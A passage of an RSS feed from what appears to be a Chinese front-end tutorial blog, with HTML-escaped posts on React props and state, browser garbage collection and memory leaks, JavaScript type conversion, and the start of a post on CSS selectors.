&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// 这里面就有父组件传的值
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 设置 默认state
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;initialValue&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;placeholder&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ES6 类中函数必须手动绑定
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;handleChange&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;handleChange&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;bind&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handleChange&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setState&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#a6e22e"&gt;mes&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 设置props值的类型
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;stateJj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;propTypes&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;optionalArray&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PropTypes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;array&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;optionalBool&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PropTypes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;bool&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;optionalFunc&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PropTypes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;func&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;optionalNumber&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PropTypes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;number&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;optionalObject&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PropTypes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;object&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;optionalString&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PropTypes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;optionalSymbol&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PropTypes&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;symbol&lt;/span&gt;, &lt;span style="color:#75715e"&gt;// 目前可以声明的所有变量类型
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 设置默认的props值
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;stateJj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;defaultProps&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="props的特性"&gt;props的特性&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;只读性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;props经常被用作渲染组件和初始化状态，当一个组件被实例化之后，它的props是只读的，不可改变的。如果props在渲染过程中可以被改变，会导致这个组件显示的形态变得不可预测。只有通过父组件重新渲染的方式才可以把新的props传入组件中。&lt;/p&gt;</description></item><item><title>浏览器的垃圾回收机制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-003/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/performance/performance-003/</guid><description>&lt;p&gt;浏览器的垃圾回收（Garbage Collection, GC）机制是前端性能优化和内存管理的重要基础。&lt;/p&gt;
&lt;h2 id="一垃圾回收的基本概念"&gt;一、垃圾回收的基本概念&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：自动回收不再使用的内存，避免内存泄漏，保证浏览器性能稳定。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GC 触发&lt;/strong&gt;：当浏览器检测到内存不足或特定条件时，启动垃圾回收过程。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="二主要垃圾回收算法"&gt;二、主要垃圾回收算法&lt;/h2&gt;
&lt;h3 id="1-标记清除mark-and-sweep"&gt;1. 标记清除（Mark-and-Sweep）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;浏览器从**根对象（Global、执行上下文中的变量）**开始，标记所有可达对象。&lt;/li&gt;
&lt;li&gt;没被标记的对象被认为不可达，即不再被使用，进行回收。&lt;/li&gt;
&lt;li&gt;是现代 JS 引擎普遍采用的算法。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-引用计数reference-counting"&gt;2. 引用计数（Reference Counting）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;每个对象维护引用计数，引用增加时计数+1，引用消失时计数-1。&lt;/li&gt;
&lt;li&gt;计数为 0 的对象立即回收。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺陷：无法处理循环引用&lt;/strong&gt;，现代引擎一般不单独使用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="三垃圾回收的触发时机"&gt;三、垃圾回收的触发时机&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;内存分配达到一定阈值时自动触发。&lt;/li&gt;
&lt;li&gt;主动调用相关接口（如 Chrome DevTools 手动触发）。&lt;/li&gt;
&lt;li&gt;页面卸载时进行清理。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="四内存泄漏常见原因"&gt;四、内存泄漏常见原因&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;全局变量未释放&lt;/strong&gt; 全局变量一直被引用，无法回收。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;闭包导致的变量无法释放&lt;/strong&gt; 闭包作用域内变量被外部引用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;定时器未清除&lt;/strong&gt; &lt;code&gt;setInterval&lt;/code&gt;、&lt;code&gt;setTimeout&lt;/code&gt; 未正确清除，导致引用保留。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DOM 节点引用未释放&lt;/strong&gt; JS 中持有对已删除 DOM 的引用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;事件监听未移除&lt;/strong&gt; 绑定事件后，未及时解绑，导致内存无法回收。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="五性能优化建议"&gt;五、性能优化建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;避免不必要的全局变量。&lt;/li&gt;
&lt;li&gt;使用完定时器及时清除。&lt;/li&gt;
&lt;li&gt;解绑不再使用的事件监听。&lt;/li&gt;
&lt;li&gt;谨慎使用闭包，避免无用变量持久存在。&lt;/li&gt;
&lt;li&gt;小心操作 DOM，及时释放引用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="常见考点"&gt;常见考点&lt;/h2&gt;
&lt;p&gt;面试中考察点主要包括 GC 的原理、算法、触发时机、内存泄漏原因及避免方法：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;浏览器垃圾回收的原理和常见算法？&lt;/li&gt;
&lt;li&gt;标记清除与引用计数的区别与优缺点？&lt;/li&gt;
&lt;li&gt;什么是内存泄漏？常见的内存泄漏类型？&lt;/li&gt;
&lt;li&gt;如何避免内存泄漏？&lt;/li&gt;
&lt;li&gt;JS 引擎如何判断对象是否可回收？&lt;/li&gt;
&lt;li&gt;浏览器中 GC 触发的时机？&lt;/li&gt;
&lt;li&gt;如何用 Chrome DevTools 监测内存泄漏？&lt;/li&gt;
&lt;li&gt;事件监听和闭包如何导致内存泄漏？&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>数据类型转换</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-003/</link><pubDate>Mon, 04 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-003/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;JavaScript 是一种非常灵活的编程语言，它允许开发者在代码中进行各种类型的操作和转换。其中，显式和隐式类型转换是 JavaScript 中一个重要而又常见的概念。你是否曾经遇到过 JavaScript 中奇怪的类型转换行为？当你使用加号连接两个不同类型的值时，为什么有时候会得到意料之外的结果？为了更好地理解 JavaScript 中的这些行为，我本篇文章将带大家深入探讨显式和隐式类型转换。&lt;/p&gt;
&lt;h2 id="数据类型"&gt;数据类型&lt;/h2&gt;
&lt;p&gt;首先简单了解下有哪些数据类型。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;原始数据类型：String、Number、Boolean、Symbol、Undefined、Null、BigInt（本文不讨论BigInt、Symbol）&lt;/p&gt;
&lt;p&gt;引用数据类型: Object（引用类型指向一个对象，不是原始值，指向对象的变量是引用变量）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="类型转换"&gt;类型转换&lt;/h2&gt;
&lt;p&gt;数据类型之间的转换可以分为下面三种：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;原始数据类型之间的转换。&lt;/li&gt;
&lt;li&gt;原始数据类型转换为对象。&lt;/li&gt;
&lt;li&gt;对象转换为原始数据类型。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="11-原始数据类型转number"&gt;1.1 原始数据类型转Number&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Number(&lt;span style="color:#e6db74"&gt;&amp;#39;123&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 123
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Number(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Number(&lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// NaN
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Number(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们可以直接调用&lt;code&gt;Number()&lt;/code&gt;函数来进行转换。该函数会把&lt;code&gt;undefined&lt;/code&gt;转换为&lt;code&gt;NaN&lt;/code&gt;，将&lt;code&gt;null&lt;/code&gt;转换为&lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;而对于字符串，如果字符串中仅仅包含数字，则将转换为数字，若包含非数字字符，则返回&lt;code&gt;NaN&lt;/code&gt;。我们也可以使用&lt;code&gt;parseInt()&lt;/code&gt;来转换字符串。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(parseInt(&lt;span style="color:#e6db74"&gt;&amp;#39;123&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 123
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(parseInt(&lt;span style="color:#e6db74"&gt;&amp;#39;12.3&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// 12
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(parseInt(&lt;span style="color:#e6db74"&gt;&amp;#39;12ds8&amp;#39;&lt;/span&gt;));&lt;span style="color:#75715e"&gt;// 12
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(parseInt(&lt;span style="color:#e6db74"&gt;&amp;#39;ads25&amp;#39;&lt;/span&gt;)); &lt;span style="color:#75715e"&gt;// NaN
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;parseInt()&lt;/code&gt;只解析整数部分，忽略小数部分。&lt;code&gt;parseFloat()&lt;/code&gt;可以将字符串转换为浮点数的函数。&lt;/p&gt;
&lt;h2 id="12-原始数据类型转string"&gt;1.2 原始数据类型转String&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(String());&lt;span style="color:#75715e"&gt;//&amp;#39;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(String(&lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;));&lt;span style="color:#75715e"&gt;//&amp;#39;123&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(String(&lt;span style="color:#66d9ef"&gt;NaN&lt;/span&gt;));&lt;span style="color:#75715e"&gt;//NaN
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(String(&lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;));&lt;span style="color:#75715e"&gt;//undefined
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(String(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;));&lt;span style="color:#75715e"&gt;//null
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(String(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;));&lt;span style="color:#75715e"&gt;//true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们可以使用&lt;code&gt;String()&lt;/code&gt; 构造函数将任何类型的数据转换为字符串类型。它将接收到的参数转换为对应的字符串表示形式。&lt;/p&gt;
&lt;h2 id="13-原始数据类型转boolean"&gt;1.3 原始数据类型转Boolean&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Boolean());&lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Boolean(&lt;span style="color:#e6db74"&gt;&amp;#39;Ywis&amp;#39;&lt;/span&gt;));&lt;span style="color:#75715e"&gt;// tru
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Boolean(&lt;span style="color:#ae81ff"&gt;123&lt;/span&gt;));&lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Boolean(&lt;span style="color:#66d9ef"&gt;NaN&lt;/span&gt;));&lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Boolean(&lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;));&lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Boolean(&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;));&lt;span style="color:#75715e"&gt;// false
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(Boolean(&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;));&lt;span style="color:#75715e"&gt;// true
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;调用&lt;code&gt;Boolean()&lt;/code&gt;函数进行转换。在将非布尔值类型转换为布尔值类型时，有一个总结：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;false&lt;/code&gt;：布尔值 false&lt;/li&gt;
&lt;li&gt;&lt;code&gt;undefined&lt;/code&gt;：未定义的值&lt;/li&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt;：空值&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt;：数字 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-0&lt;/code&gt;：负零&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NaN&lt;/code&gt;：非数字值&lt;/li&gt;
&lt;li&gt;&lt;code&gt;''&lt;/code&gt;：空字符串&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;除了以上七个值外，其他值（包括对象、数组、函数等）在转换为布尔值时都会返回 &lt;code&gt;true&lt;/code&gt;。这种规则使得 JS 中的大多数值被视为真值（truthy）。&lt;/p&gt;</description></item><item><title>选择器</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-003/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-003/</guid><description>&lt;h2 id="css选取器分类"&gt;CSS选取器分类&lt;/h2&gt;
&lt;h3 id="通配符选择器"&gt;通配符选择器&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;:&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="元素标签选择器"&gt;元素（标签）选择器&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="类选择器"&gt;类选择器&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;warning&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="id选择器"&gt;ID选择器&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#warning{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;color&lt;/span&gt;:&lt;span style="color:#66d9ef"&gt;red&lt;/span&gt;;
